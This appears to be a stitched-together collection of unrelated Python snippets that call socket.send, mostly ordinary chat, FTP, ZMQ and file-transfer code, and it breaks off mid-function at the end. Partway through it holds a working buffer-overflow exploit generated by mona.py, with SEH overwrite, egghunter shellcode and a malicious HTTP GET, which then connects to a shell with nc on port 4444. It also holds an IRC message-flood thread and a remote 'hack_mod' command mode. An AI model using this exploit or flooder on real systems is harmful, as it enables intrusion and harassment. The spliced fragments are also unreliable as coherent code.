def startConfig(socket,address,imei):
print "{} Connection details IP:Port {}".format(imei,address)
while True:
command = raw_input("Enter command to send to device{A10 to F11 commands available}(blank to exit)")
if command == '':
return False
command = command.upper()
data = ""
while True:
item = raw_input("Enter data to {} command(blank to exit)".format(command))
if item == '':
break
data += ","+item
send_command = generateCommand(command,data,imei)
sent_bytes = socket.send(send_command)
print "number of characters in command {} number of bytes sent = {}".format(len(send_command),sent_bytes)
print "Waiting for reply......"
while True:
sent_bytes = socket.send(send_command)
try:
reply = socket.recv(4096).split(",")
except :
print "No data recived :("
continue
if reply[2] == command:
print "Got a reply = {}".format(reply)
break
print "Got reply but not relevent :( = {}".format(reply)
print "Command execute succesfully :) \n"
def handle_command( command ):
arguments = command[1:]
command = command[0]
if command == 'help':
socket.send(b'no help availible\n')
else:
socket.send(('unknown command: %s\n' % command).encode('utf8'))
def handle_accept(self):
pair = self.accept()
if pair is not None:
socket, address = pair
print 'Incoming connection from ', address
handler = ControlHandler(socket)
socket.send('welcome!\n' + ControlHandler.PROMPT)
def send(socket, data):
'''Encode and send data, who knows why it's so cryptically sent...'''
try:
b = []
b.append(129)
bytesRaw = data.encode()
length = len(bytesRaw)
if length <= 125 :
b.append(length)
elif length >= 126 and length <= 65535:
b.append(126)
b.append((length >> 8) & 255)
b.append(length & 255)
else:
b.append(127 )
b.append((length >> 56) & 255)
b.append((length >> 48) & 255)
b.append((length >> 40) & 255)
b.append((length >> 32) & 255)
b.append((length >> 24) & 255)
b.append((length >> 16) & 255)
b.append((length >> 8) & 255)
b.append(length & 255)
b = bytes(b)
b = b + bytesRaw
print('\033[34m' + data + '\033[0m')
socket.send(b)
return True
except BlockingIOError:
return False
except TimeoutError:
return False
def request(socket, piece_number, block_offset):
expected = BLOCK_SIZE
if piece_number == NUM_PIECES and BLOCK_SIZE >= metainf.get('info').get('piece length'):
expected = (metainf.get('info').get('length') - (NUM_PIECES * metainf.get('info').get('piece length')))
print 'expected block size: {}'.format(expected)
m = struct.pack("!iBiii", 13, 6, piece_number, block_offset, expected)
while(True):
socket.send(m)
data = socket.recv(expected+13)
if len(data)<13:
continue
header = data[:13]
parsed_header = struct.unpack('!iBii', header)
if (parsed_header[1] == 7 and
(len(data[13:]) == BLOCK_SIZE or len(data[13:]) == expected) and
piece_number <= NUM_PIECES and
parsed_header[2] == piece_number and
parsed_header[3] == block_offset):
break
else:
socket.send(m)
global counter
print('block #: {}'.format(counter))
counter += 1
print('message length: {}'.format(parsed_header[0]))
print('message ID: {}'.format(parsed_header[1]))
print('piece index: {}'.format(parsed_header[2]))
print('block index: {}'.format(parsed_header[3]))
payload = data[13:]
print('size of payload: {}'.format(len(payload)))
print('\n\n')
return payload
def broadcast_data (sock, message, shout = None):
if shout:
for socket in CONNECTION_LIST:
if socket != server_socket and socket != sock :
for every in user[sock]['rooms']:
if every in user[socket]['rooms']:
try :
socket.send(message)
except :
# broken socket connection may be, chat client pressed ctrl+c for example
print "OH, he gettin removed and shit."
socket.close()
CONNECTION_LIST.remove(socket)
else:
#Do not send the message to master socket and the client who has send us the message
for socket in CONNECTION_LIST:
if socket != server_socket and socket != sock :
if user[socket]['current'] == user[sock]['current']:
try :
socket.send(message)
except :
# broken socket connection may be, chat client pressed ctrl+c for example
print "OH, he gettin removed and shit."
socket.close()
CONNECTION_LIST.remove(socket)
def broadcast_data (self, message):
for socket in self.connections:
if socket != self.server_socket:
try:
socket.send( message.encode("utf-8") ) #.encode("utf-8")
except:
pass
def handle(self, socket):
self.set_ready()
self.logger.debug("Connected to leader")
client_address = self.client_hostname or socket.getsockname()[0]
socket.send('%s\n' % client_address)
# TODO: Use TCP keepalives
keepalive = self._server_keepalive(socket)
try:
for line in util.line_protocol(socket, strip=False):
if line == '\n':
# Keepalive ack from leader
keepalive.kill()
keepalive = self._server_keepalive(socket)
else:
cluster = json.loads(line)
if 'leader' in cluster:
# Means you have the wrong leader, redirect
host = cluster['leader']
port = cluster.get('port', self.leader_address[1])
self.leader_address = (host, port)
self.logger.info("Redirected to %s:%s..." %
self.leader_address)
raise NewLeader()
elif client_address in cluster['cluster']:
# Only report cluster once I'm a member
self.manager.cluster = set(cluster['cluster'])
self.manager.trigger_callback()
self._leader_election()
except NewLeader:
self.manager.trigger_callback()
if self.leader_address[0] == client_address:
self.manager.is_leader = True
self.stop()
else:
return
def broadcast (server_socket, sock, message):
# sending message to clients
for socket in SOCKET_LIST:
# send the message only to clients
if socket != server_socket and socket != sock :
try :
socket.send(message)
except :
# broken socket connection
socket.close()
# broken socket, remove it
if socket in SOCKET_LIST:
SOCKET_LIST.remove(socket)
#sending to other peers
for socket in PEER_SERVERS:
# send the message only to peers
if socket != server_socket and socket != sock :
try :
socket.send(message)
except :
# broken socket connection
socket.close()
# broken socket, remove it
if socket in SOCKET_LIST:
SOCKET_LIST.remove(socket)
def file_send(self, socket):
print('Thread for client ' + str(socket) + ' started! Waiting for input...')
# headers = conn.recv(1024)
# print('headers: %s' % headers)
# data = self.msg_get(socket)
# print(data)
#
# # socket.send('tarantino.jpg'.encode('utf-8'))
# self.msg_send(socket, 'tarantino.jpg')
# print('send filename')
# # socket.close()
# socket = self.connect()
with open(self.default_server_file, 'rb') as file:
print('File open')
l = file.read(1024)
while l:
socket.send(l)
# print('sending data...')
l = file.read(1024)
print('sending data: END...')
socket.close()
def run(self):
while True:
if self.players:
readers, writers, errorers = select.select(self.sockets.values(), self.sockets.values(), self.sockets.values(), 60)
# Deal with errors first
for socket in errorers:
self.remove_player(self.players.get(socket, None))
# Inbound: Data coming from server
for socket in readers:
player = self.players.get(socket, None)
if player:
data = self.input_buffers.get(player, '') + socket.recv(4096)
lines = data.split('\n')
self.input_buffers[player] = lines[-1]
for line in lines[:-1]:
#print '<- %s' % line
self.handle_command(player, line)
# Outbound: Commands going to server
for player, queue in self.queues.items():
try:
command = queue.get(False)
socket = self.sockets.get(player, None)
if socket and socket in writers:
#print '-> %s' % command,
socket.send(command)
queue.task_done()
except Empty:
pass
except Exception, e:
print e
def initDiffieHellman(self, socket):
socket.send("connected".encode())
# Step1: recive the shared primes and the public secret
step1 = socket.recv(1024)
if self.__debugflag:
print(step1)
# Step 1.1: Parse them
jsonData = json.loads(step1.decode())
jsonData = jsonData["dh-keyexchange"]
self.__dh.base = int(jsonData["base"])
self.__dh.sharedPrime = int(jsonData["prime"])
publicSecret = int(jsonData["publicSecret"])
# Step2: calculate public secret and send to server
calcedPubSecret = str(self.__dh.calcPublicSecret())
step2 = "{"
step2 += "\"dh-keyexchange\":"
step2 += "{"
step2 += "\"step\": {},".format(2)
step2 += "\"publicSecret\": {}".format(calcedPubSecret)
step2 += "}}"
socket.send(step2.encode())
# Step3: calculate the shared secret
self.__dh.calcSharedSecret(publicSecret)
def check_connection_completion(sock):
p = ovs.poller.SelectPoll()
if sys.platform == "win32":
event = winutils.get_new_event(None, False, True, None)
# Receive notification of readiness for writing, of completed
# connection or multipoint join operation, and of socket closure.
win32file.WSAEventSelect(sock, event,
win32file.FD_WRITE |
win32file.FD_CONNECT |
win32file.FD_CLOSE)
p.register(event, ovs.poller.POLLOUT)
else:
p.register(sock, ovs.poller.POLLOUT)
pfds = p.poll(0)
if len(pfds) == 1:
revents = pfds[0][1]
if revents & ovs.poller.POLLERR:
try:
# The following should raise an exception.
socket.send("\0", socket.MSG_DONTWAIT)
# (Here's where we end up if it didn't.)
# XXX rate-limit
vlog.err("poll return POLLERR but send succeeded")
return errno.EPROTO
except socket.error as e:
return get_exception_errno(e)
else:
return 0
else:
return errno.EAGAIN
def handle(socket, address):
""" 处理请求 """
try:
data = socket.recv(1024)
key = binascii.b2a_hex(data[0:16]).upper()
body = data[16:]
# RN解密
rnc = RNC(key)
data = rnc.decrypt(body)
data = json.loads(data)
usr = data['usr']
udid = data['udid']
print 'request from %s' % usr
user = db.users.find_one({'udid': udid})
if user and user.get('status'):
status = 1
else:
status = 0
# 2、查询mongo
response = {'udid': udid, 'status': status}
cipher_text = rnc.encrypt(json.dumps(response))
socket.send(cipher_text)
except Exception, e:
pass
def broadcast_data (sock, message):
"""Send broadcast message to all clients other than the
server socket and the client socket from which the data is received."""
for socket in CONNECTION_LIST:
if socket != server_socket and socket != sock:
socket.send(message)
def input(events, socket):
for event in events:
direction = ""
if event.type == QUIT:
sys.exit(0)
else:
if(event.type == KEYDOWN):
if event.key == 118:
direction = "s"
elif event.key == 117:
direction = "a"
elif event.key == 105:
direction = "w"
elif event.key == 97:
direction = "d"
elif event.key == 27:
direction = "exit"
elif(event.type == KEYUP):
pass
else:
print(event)
if direction == "exit":
socket.send(direction.encode('utf-8'))
sys.exit(0)
elif direction == "":
pass
else:
socket.send(("position " + direction).encode('utf-8'))
def get_replay(name, query, config, context=None):
endpoint = config.get('replay_endpoints', {}).get(name, None)
if not endpoint:
raise IOError("No appropriate replay endpoint "
"found for {0}".format(name))
if not context:
context = zmq.Context(config['io_threads'])
# A replay endpoint isn't PUB/SUB but REQ/REP, as it allows
# for bidirectional communication
socket = context.socket(zmq.REQ)
try:
socket.connect(endpoint)
except zmq.ZMQError as e:
raise IOError("Error when connecting to the "
"replay endpoint: '{0}'".format(str(e)))
# REQ/REP dance
socket.send(fedmsg.encoding.dumps(query))
msgs = socket.recv_multipart()
socket.close()
for m in msgs:
try:
yield fedmsg.encoding.loads(m)
except ValueError:
# We assume that if it isn't JSON then it's an error message
raise ValueError(m)
def communicate(socket, cmd, data=None):
'''Sends a command and optional data (string) to the client socket.
Message format: [SIZE (4 bytes) | COMMAND (8 bytes) | DATA (N bytes)]
Returns a tuple containing the response message and data.
'''
assert len(cmd) == 8, ('Commands must contain exactly 8 characters.'
'Command was: "%s"'%(cmd))
# Send the message size
if data is None:
data = ''
msg_size = len(data)
print '<SERVER> sending msg: [ %s | %s | <DATA: %s bytes> ]'%(msg_size, cmd, len(data))
nbytes = np.array([msg_size], ">i4").tostring()
socket.send(nbytes + cmd + data)
print '<SERVER> waiting for response...'
# Get the response size
size = read_nbytes(socket, 4)
size = struct.unpack('>i4', size)[0]
print '<SERVER> response size:', repr(size)
# Get the response message
msg = read_nbytes(socket, 8)
print '<SERVER> response to %s:%s'%(cmd, msg)
# Get any attached data
data = ''
if size > 0:
data = read_nbytes(socket, size)
return msg, data
def getFile(filename):
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect("tcp://localhost:1337")
socket.send(filename)
response = socket.recv_json()
return response
def localization_client(ip,port):
context = zmq.Context()
# Socket to talk to server
print "Connecting to localization server ... "
socket = context.socket(zmq.REQ)
socket.connect(("tcp://localhost:%d" % port))
# Do 10 requests, waiting each time for a response
while True:
# print("Sending request %s ... " % request)
socket.send(b"pose")
# Get the reply.
result = json.loads(socket.recv(1024));
# printing the result
# print(result)
# In order to access position : (result["pos"]["x"],result["pos"]["y"],result["pos"]["z"])
# In order to access orientation : (result["orient"]["w"],result["orient"]["x"],result["orient"]["y"],result["orient"]["z"])
print "Position : " , (float(result["pos"]["x"]),float(result["pos"]["y"]),float(result["pos"]["z"]))
print "Orientation : " , (float(result["orient"]["w"]),float(result["orient"]["x"]),float(result["orient"]["y"]),float(result["orient"]["z"]))
# wait for a while
time.sleep(0.050)
def download_files(socket, working_directory):
send_en = False
# Firstly, sending requests for downloading and notify servers
send_messages(socket, 4)
if socket.recv(1024) == "What's file name you want":
file_name = raw_input("Please enter the name of file you want:")
socket.send(file_name)
# if the server that the requested files exist, get the location of file
respond = socket.recv(1024)
if respond == "The requested file exists":
location = socket.recv(1024)
print "The file is located at " + location
send_en = True
elif respond != "The requested file exists":
print "From Server - Error:The requested file doesn't exist"
# If send_en flag is true, begin transmitting files
if send_en:
socket.send("Please send file")
file_name = working_directory + "/" + file_name
f = open(file_name, "wb")
content = socket.recv(1024)
# print content
while (content):
f.write(content)
content = socket.recv(1024)
if content == "###":
break;
def server(pid, ep):
"""
Worker for listening socket for communication with web server.
Parameters
----------
pid: int
Process id. Used to send SIGINT.
ep: mp.Pipe endpoint.
Used to communicate with model processor.
"""
context = zmq.Context()
socket = context.socket(zmq.REP)
port = socket.bind_to_random_port("tcp://0.0.0.0")
ep.send(port)
def sig_handler(signum, frame):
socket.close()
return
signal.signal(signal.SIGTERM, sig_handler)
while True:
message = socket.recv()
if message == "KILL":
socket.send("OK")
socket.close()
ep.send(None)
p = psutil.Process(pid)
p.send_signal(signal.SIGINT)
return
def parse_line(self, line, socket):
'''Parses a line from the IRC socket'''
print(line, flush=True)
if "PING" in line:
irc_pong = "PONG %s\r\n" % line[1]
socket.send(irc_pong.encode('utf-8'))
return
def pub_message(source_socket, msg, server_socket):
for user in USERS_LIST:
if user[1] == str(source_socket.fileno()):
nickname = user[3]
break
# Do not send the message to server socket and the client who has
# sent the message
for socket in SOCKET_LIST:
if socket != server_socket and socket != source_socket:
try:
for user in USERS_LIST:
# The user for each specific socket
if user[1] == str(socket.fileno()):
SYMM_KEY = user[2]
CIPHER = AES.new(SYMM_KEY)
h_msg = PUB_MESSAGE + ',' + nickname + ',' + msg
msg_enc = EncodeAES(CIPHER, h_msg)
socket.send(msg_enc)
except:
print 'fedeu'
# broken socket connection may be, chat client pressed ctrl+c
# for example
# Remove user from USERS_LIST
for index, user in enumerate(USERS_LIST):
if user[1] == str(source_socket.fileno()):
# Close connection
source_socket.close()
# Remove socket from SOCKET_LIST
SOCKET_LIST.remove(source_socket)
del USERS_LIST[index]
break
def setup_proxy_connection(self):
socket = SocketWrapper.connect(self.hostname, self.port)
socket.send("RegProxy", {
"ClientId": self.client_id,
})
self.logger.debug("Waiting for proxy to be started")
reply = socket.recv()
if reply["Type"] != "StartProxy":
raise ConnectionError("Expected 'StartProxy' but got '%s'" % reply["Type"])
url = reply["Payload"]["Url"]
client_addr = reply["Payload"]["ClientAddr"]
try:
handler = self._tunnels[url]
except KeyError:
self.logger.error("Couldn't find a handler for %r" % url)
socket.socket.close()
return
self.logger.debug("Invoking handler for %r (client=%r)" % (url, client_addr))
handler(socket.socket, client_addr)
def send_data(socket):
while True:
data = input()
socket.send(data.encode('utf-8'))
if(data == 'exit'):
socket.close()
break
def create_join(socket, uname, param):
""" Joining channels specified. If channel do not exist, creates and joins the channel"""
cmd, target = param.split(' ', 1)
chName = target.strip()
if re.search('^#([a-zA-Z0-9])', chName):
if not uname in dictUser[chName]:
if chName in channellist:
dictUser[chName].append(uname)
#Done, so that while sending chat msg,only users in that channel can get
dictSockChannels[socket].append(chName)
msg = '\rYou joined %s\n\n' % chName
else:
#Create new channel
channellist.append(chName)
#add user to the channel
dictUser[chName].append(uname)
dictSockChannels[socket].append(chName)
msg = '\r%s is created.\nYou joined %s\n\n' % (chName,chName)
msgToAll = "\r'"+dictSockName[socket]+"'"+ "entered %s \n\n" % chName
#Send message to all users in this channel about the entry of new client
msgtoall(socket,chName,msg,msgToAll)
else:
socket.send('\rERR_USERONCHANNEL:%d, %s already on channel %s\n\n' % (ERR_USERONCHANNEL,uname,chName))
else:
socket.send('\rERR_INVALIDCHANNELNAME:%d %s Invalid Channel Name\n\n' % (ERR_INVALIDCHANNELNAME,chName))
def broadcast(source_socket, message, server_socket):
"""Function to broadcast chat messages to all connected clients"""
# Do not send the message to server socket and the client who has
# sent the message
for socket in SOCKET_LIST:
if socket != server_socket and socket != source_socket:
try:
for user in USERS_LIST:
# The user for each specific socket
if user[1] == str(socket.fileno()):
SYMM_KEY = user[2]
CIPHER = AES.new(SYMM_KEY)
h_msg = BROADCAST + message
msg_enc = EncodeAES(CIPHER, h_msg)
socket.send(msg_enc)
except:
# broken socket connection may be, chat client pressed ctrl+c
# for example
# Remove user from USERS_LIST
for index, user in enumerate(USERS_LIST):
if user[1] == str(source_socket.fileno()):
# Close connection
source_socket.close()
# Remove socket from SOCKET_LIST
SOCKET_LIST.remove(source_socket)
del USERS_LIST[index]
break
def receive_files(socket):
fileno = socket.recv(512) #receive the number of files to be sent
print ("Number of files expected: "), fileno
for x in range(0, int(fileno)):
print("Receiving file "), x+1 , ("of "), fileno
dat = socket.recv(1024)
dat = dat.replace("%%%%", getpass.getuser())
if dat != "null":
path.append(dat) #get path of incomming file
time.sleep(0.5)
size = socket.recv(1024) #get size of file
print("Receiving "),size,("bytes")
time.sleep(0.5)
buff = socket.recv(int(size)) #get actual file content
print("Writing file to "), path[x-1]
f = open(path[x-1], 'wb') #open new file
f.write(buff) #write content to file.
print ("File written")
socket.send('1')
time.sleep(0.5)
else:
print("File number '"),x+1,(" is being ignored by sender.")
time.sleep(0.5)
return
def fchu(socket,ssid,md5):
try:
msg="FCHU"+ssid+md5
socket.send(msg.encode())
logging.debug("Inviata fchu")
except Exception as e:
raise Exception("Errore invio fchu")
def send_to_worker(socket, episode_ack_msg):
episode_ack_msg = pickle.dumps(episode_ack_msg, protocol=-1)
episode_ack_msg = zlib.compress(episode_ack_msg)
socket.send(episode_ack_msg)
def send_kill_msg(self, socket):
socket.send(pycompletionserver.MSG_KILL_SERVER)
def send_msgpack(socket, obj, flags=0, protocol=-1):
"""pickle an object, and zip the pickle before sending it"""
p = msgpack.packb(obj, use_bin_type=True)
return socket.send(p, flags=flags)
def send_zipped_pickle(socket, obj, flags=0, protocol=-1):
"""pickle an object, and zip the pickle before sending it"""
p = pickle.dumps(obj, protocol)
z = zlib.compress(p)
return socket.send(z, flags=flags)
def _answer(self, msg, socket):
socket.send(bytearray(str(msg), "utf-8"))
import socket
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect(('IP주소', 8080))
while 1:
data = input()
socket.send(data.encode())
data2 = socket.recv(65535)
print('received data : ', data2.decode())
import socket
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect(('localHost', 5656))
print("Iniciamos Cliente!")
while True:
mensajeCliente = input("Cliente dice: ")
socket.send(mensajeCliente.encode(encoding="ascii"))
respuesta = socket.recv(1024)
print("servidor", respuesta.decode(encoding="ascii"))
socket.close()
def handleInput(socket, data):
socket.send(data)
def send_cmd(socket, cmdId, args = []):
cmdReq = array.array('l', [cmdId] + args)
socket.send(cmdReq)
def client():
money=100
inte=0
port = 5566
n=0
dev=1
dba=False
pss=0
tmoney=0
if inte==0:
print("tentative de connection a votre ami ")
time.sleep(int(temp))
import socket
host2=hostb
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((host2,port))
print("connexion etablie avec votre ami")
while inte ==0:
time.sleep(0.1)
msg = input(" votre message : ")
msg1=msg
socket.send(msg.encode("utf8"))
if msg1=="send":
while dev:
try:
name=input(str(("entrer le nom du fichier ou son chemin complet : ")))
time.sleep(1)
if '/' in name:
nes=0
nes2=0
nes3=0
for nez in name:
if nez=='/':
nes+=1
nes3=nes2
nes2+=1
raw=name[nes3+1:]
print('naw est : ',raw)
fs =open(name,'rb')
else:
raw=name
fs =open("virtual/sended/"+name,'rb')
break
except:
print("fichier introuvable !!! veillez verifier le fichier ")
name=raw
print("envoie de {} en cours ...".format(name))
socket.send(name.encode("utf8"))
s1=time.time()
socket.sendall(fs.read())
s2=time.time()
fs.close()
print("temps pris pour l'envoye : " ,str(int((s2-s1)))," seconde(s)")
print(" envoye reussi \n veillez pattienter quelque seconde puis tapez : ok")
time.sleep(10)
elif msg1=='sendall':
time.sleep(1)
name2=input(str(("entrer le chemin complet du dossier a envoyer : ")))
try:
ch=os.listdir(name2)
print(ch)
pss=1
except:
print('chemin specifier invalide !!! ')
socket.send('end'.encode("utf8"))
pss=0
if pss==1:
socket.send(str(len(ch)).encode("utf8"))
if name2[-1]=='/':
pass
elif name2[-1]!='/':
name2=name2+'/'
print(name2)
elif msg1=="exit":
print('deconexion !!!')
time.sleep(3)
sys.exit()
elif msg1=='cmd':
ck=input('hack_mod <<< ')
socket.send(ck.encode("utf8"))
tp=socket.recv(1024).decode("utf8")
print('return >>>',tp)
elif msg1=='check':
if dba==True:
print('votre montant est de ',str(tmoney))
else:
print('aucun transation effectuer precedement !!!')
elif msg1=='':
print('utilisation : \n send ==> pour envoyer un fichier \n money ==> pour envoyer de l\'argent \n exit==> pour fermer le programme \n check==> votre montant money')
elif msg1=="money":
deb=1
msend=input("montant a envoyer : ")
while deb:
try:
msend=int(msend)
deb=0
except :
deb=1
msend=input("montant incorrect ; ressayer : ")
evy=int(msend)
conn=sqlite3.connect("virtual/system/base.db")
cur=conn.cursor()
if dba==False:
cur.execute("select money from info")
for l in cur:
liste_d=l
cur.execute("select pseudo from info")
for l in cur:
liste_s=l
cur.execute("select code from info")
for l in cur:
liste_n=l
hmoney=(liste_d[0])
cur.execute("select hache from info")
for l in cur:
liste_h=l
elif dba==True:pass
dba=True
tnum=0
tb=1
mdp=getpass.getpass(" entrer code secret : ")
mdp=hashlib.sha224((bytes(mdp,'utf8'))).hexdigest()
if mdp==liste_n[0]:
print('verification en cours ...')
while tb==1:
tb2=hashlib.sha224((bytes(str(tnum),'utf8'))).hexdigest()
if tb2==hmoney:
tb=0
tmoney=tnum
else:
tnum+=1
if evy > tmoney:
envy="0"
print(" votre montant est insufisant +{} money d'excedent".format(str(evy-tmoney)))
elif 0<evy <= tmoney:
envy=str(evy)
tmoney = tmoney-evy
hmoney=hashlib.sha224((bytes(str(tmoney),'utf8'))).hexdigest()
don1=(liste_s[0],liste_n[0],hmoney,liste_h[0])
cur.execute("insert into info (pseudo,code,money,hache) values(?,?,?,?)",don1)
print("montant envoyer ")
print("votre montant actuel est de {} money ".format(tmoney))
else:
envy="0"
print("une erreur est survenu , transation annuler ")
else:
print("mot de passe erronee")
envy="0"
socket.sendall(envy.encode("utf8"))
conn.commit()
cur.close()
conn.close()
import socket
HOST = socket.gethostname()
PORT = 8888
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect(("172.17.2.15", PORT))
text = input('Enter your mesage:') #take message input from user
socket.send(text.encode('ascii')) #send message to client
#socket.close()
def forward_arp(pkt, ip, socket, ts):
if time_since_arp[ip] == 0 or ((ts - time_since_arp[ip]) > 2):
if args.v:
print('forwarding ARP')
socket.send(pkt)
time_since_arp[ip] = ts
#Generated by mona.py v2.0, rev 568 - Immunity Debugger
egg = "w00tw00t"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
#NOPS
nops = "\x90"
#Payload
payload = junk + nSEH + SEH + egghunter + nops * 10 + egg + shellcode + nops * (
6000 - len(junk) - len(nSEH) - len(SEH) - len(egghunter) - 10 - len(egg) -
len(shellcode))
#HTTP Request
request = "GET /" + payload + "HTTP/1.1" + "\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Connection: keep-alive" + "\r\n\r\n"
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((host, port))
socket.send(request)
socket.close()
print "Waiting for shell..."
time.sleep(10)
os.system("nc " + host + " 4444")
import socket
socket = socket.socket()
socket.connect(("localhost", 8888))
image = raw_input("Enter Image Name: ")
socket.send(image)
predictedCaptions = socket.recv(1024)
print "Predicted Captions: ", predictedCaptions.split("\t")[0]
print "Time Taken: ", predictedCaptions.split("\t")[1]
socket.close()
def floodThread(socket, user, text, delay):
while True:
socket.send('PRIVMSG ' + user + ' :' + text + '\r\n')
time.sleep(delay)
socket.send('PRIVMSG ' + user + ' :' + text + '_' + randomString() + '\r\n')
time.sleep(delay)
__author__ = 'ipetrash'
from urllib.parse import urlsplit
import socket
import re
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# url = input ("Enter a url: ")
url = 'http://google.ru/'
try:
re.search("^http[s]?://.*?", url)
except:
print("Error")
result = urlsplit(url)
print(result)
socket.connect((result.netloc, 80))
cmd = f'GET {result.path} HTTP/1.0\r\n\r\n'.encode()
print(cmd)
socket.send(cmd)
while True:
data = socket.recv(512)
if not len(data):
break
print(data, end='')
socket.close()
parser.add_argument('--server',
type=str,
help='server id:port. (eg. 0.0.0.0:1958)',
required=True)
args = parser.parse_args()
# connect
context = zmq.Context()
myid = '%s-%s' % (socket.gethostname(), random_string())
print("Connecting to server=%s myid=%s" % (args.server, myid))
socket = context.socket(zmq.REQ)
socket.connect("tcp://%s" % args.server)
# request to initialization
print("Request to initialize.")
socket.send(byte_message(myid, CODE_INIT, ''), copy=False)
fetcher = pickle.loads(socket.recv())
print("Initialized.")
jobid = data = None
while True:
socket.send(byte_message(myid, CODE_POLL, (jobid, data)), copy=False)
msg = pickle.loads(socket.recv())
jobid = msg[
'message'] # list converted to string(eg. "[id1, id2, ...]")
if jobid is None:
jobid = data = None
time.sleep(1)
else:
def sendmsg(socket, message, host, port):
socket.send(message)
def runServer(socket, serverAddr, clientAddr, port, l, configs):
# send message back to client to signify a successful connection
socket.send(bytes('220 Welcome to cs472 hw3 FTP server\r\n', 'ascii'))
l.log("Sent", "220 Welcome to cs472 hw3 FTP server")
doUSERandPASS(socket, serverAddr, clientAddr, port, l, configs)
import socket
import os
import sys
from unbuffered_reading import read_line_unbuffered_from
sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 1) # Line-buffer output to STDOUT.
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.bind(('0.0.0.0', 8080))
listener.listen(5)
while 1:
try:
(socket,address) = listener.accept()
txt = read_line_unbuffered_from(socket).decode('utf8')
print("FROM THE CLIENT: ")
while txt != "\r\n": # i.e., CRLF
print(txt)
txt = read_line_unbuffered_from(socket).decode('utf8')
print("SERVER: reached end of request headers")
socket.send("HTTP/1.1 200 OK\r\n".encode('utf8'))
socket.send("\r\n".encode('utf8'))
socket.send("Hello, world\n".encode('utf8'))
print("SERVER: Sent 'Hello, world' response to client")
socket.close()
except KeyboardInterrupt:
print("Caught Ctrl-C, exiting...")
listener.close()
exit(1)
print("SERVER: now I'm exiting")
def doPORT(socket_, l, serverAddr, receivedMessage):
message = receivedMessage[1]
message = message.split(",")
if len(message) == 6:
clientAddr = ".".join(
message[:4]) # get the ip address from the received message
dataPort = int(message[4]) * 256 + int(
message[5]) # get the port number from the received message
socket_.send(bytes('200 Command OK.\r\n', 'ascii'))
l.log("Sent", "200 Command OK.\r\n")
try:
dataSocket = socket.socket(
socket.AF_INET,
socket.SOCK_STREAM) # create an INET, STREAMing clientSocket
dataSocket.connect(
(clientAddr, dataPort)
) # connect to a data socket server that's already created in client
l.logConnectionInfo(clientAddr, str(dataPort))
# get the next command that client types in, this command must be either LIST, STOR, or RETR
receivedCommand = recv_timeout(socket_, l) #
l.log("Received", receivedCommand)
receivedCommand = receivedCommand.split(" ", 1)
if receivedCommand[0] == "LIST":
if len(receivedCommand) <= 2:
path = ""
if len(receivedCommand) == 1:
path = "."
elif len(receivedCommand) == 2:
path = receivedCommand[1]
doList(socket_, dataSocket, l, path)
else:
socket_.send(
bytes(
'501 Syntax error in parameters or argument.\r\n',
'ascii'))
l.log("Sent",
"501 Syntax error in parameters or argument.\r\n")
elif receivedCommand[0] == "STOR":
if len(receivedCommand) == 2: # STOR must have 2 arguments
path = receivedCommand[1]
doSTOR(socket_, dataSocket, l, path)
else:
socket_.send(
bytes(
'501 Syntax error in parameters or argument.\r\n',
'ascii'))
l.log("Sent",
"501 Syntax error in parameters or argument.\r\n")
elif receivedCommand[0] == "RETR":
if len(receivedCommand) == 2: # RETR must have 2 arguments
path = receivedCommand[1]
doRETR(socket_, dataSocket, l, path)
else:
socket_.send(
bytes(
'501 Syntax error in parameters or argument.\r\n',
'ascii'))
l.log("Sent",
"501 Syntax error in parameters or argument.\r\n")
else:
try:
socket.send(bytes('500 Unknown command.\r\n', 'ascii'))
l.log("Sent", "500 Unknown command.")
except:
pass
except Exception as e: # if can't connect to the data server socket in client
l.log_(str(e))
try:
socket_.send(
bytes('425 No connection was established.\r\n', 'ascii'))
l.log("Sent", "425 No connection was established.\r\n")
except Exception as err:
l.log_(str(err))
else: # if the syntax for PORT command is wrong
socket_.send(bytes('501 Server cannot accept argument.\r\n', 'ascii'))
l.log("Sent", "501 Server cannot accept argument.")
dataSocket.close()
def handle_accept(self):
socket, address = self.accept()
print ("connection by", address)
self.remote_clients.append(ClientHandler(self, socket, address))
ut = {"name" : "server", "msg" : "Hello from server"}
socket.send(json.dumps(ut))
def doPASV(socket_, l, serverAddr, clientAddr, port):
dataPort = random.randint(1025, 65535)
while dataPort == port or dataPort in usedPortNum: # make sure port is not in use
dataPort = random.randint(1025, 65535)
usedPortNum.append(dataPort)
p1 = dataPort // 256
p2 = dataPort % 256
try:
dataSocket = socket.socket(
socket.AF_INET,
socket.SOCK_STREAM) # create an INET, STREAMing clientSocket
dataSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
dataSocket.bind((serverAddr, dataPort))
dataSocket.listen() # become a server socket
server = serverAddr.replace(".", ",")
message = "227 Entering Passive Mode ({serverAddr},{p1},{p2}).\r\n".format(
serverAddr=server, p1=p1, p2=p2)
socket_.send(
bytes(message, 'ascii')
) # send back the new data socket info so client can connect to it
l.log("Sent", message.strip("\r\n"))
(clientDataSocket, address) = dataSocket.accept()
address = ' '.join(str(v) for v in address).split(
" ") # convert to ip address of form xxx.xxx.xxx.xxx
clientAddr = clientAddr.split(" ")
# check if server is talking to the right client
if clientAddr[0] != address[0]:
print(clientAddr[0])
print(address[0])
socket_.send(
bytes('425 Server drops the connection. Please try again.\r\n',
'ascii'))
l.log_(
